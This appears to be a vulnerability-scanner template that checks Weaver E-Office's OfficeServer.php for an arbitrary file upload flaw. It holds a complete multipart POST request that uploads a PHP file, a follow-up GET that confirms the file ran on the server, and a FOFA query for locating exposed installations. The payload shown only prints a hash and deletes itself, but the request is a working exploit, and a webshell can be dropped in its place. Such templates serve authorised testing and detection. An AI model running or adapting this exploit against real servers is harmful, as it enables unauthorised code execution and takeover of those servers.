id: weaver-eoffice-officeserver-fileupload

info:
  name: 泛微OA E-Office OfficeServer.php 任意文件上传漏洞
  author: zan8in
  severity: critical
  verified: true
  description: |
    泛微OA E-Office OfficeServer.php 存在任意文件上传漏洞，攻击者通过漏洞可以获取到服务器敏感信息
    fofa: app="泛微-EOffice"
  tags: weaver,eoffice,fileupload
  created: 2024/02/21

set:
  randstr: randomLowercase(12)
  rbody: randomLowercase(32)
  rboundary: randomLowercase(8)
rules:
  r0:
    request:
      method: POST
      path: /eoffice10/server/public/iWebOffice2015/OfficeServer.php
      headers:
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{rboundary}}
      body: |
        ------WebKitFormBoundary{{rboundary}}
        Content-Disposition: form-data;name="FileData";filename="{{randstr}}.php"
        Content-Type: application/octet-stream

        <?php echo md5("{{rbody}}");unlink(__FILE__);?>

        ------WebKitFormBoundary{{rboundary}}
        Content-Disposition: form-data;name="FormData"

        {'USERNAME':'admin','RECORDID':'undefined','OPTION':'SAVEFILE','FILENAME':'{{randstr}}.php'}
        ------WebKitFormBoundary{{rboundary}}--"
    expression: response.status == 200
  r1:
    request:
      method: GET
      path: /eoffice10/server/public/iWebOffice2015/Document/{{randstr}}.php
    expression: response.status == 200 && response.body.bcontains(bytes(md5(rbody)))
expression: r0() && r1()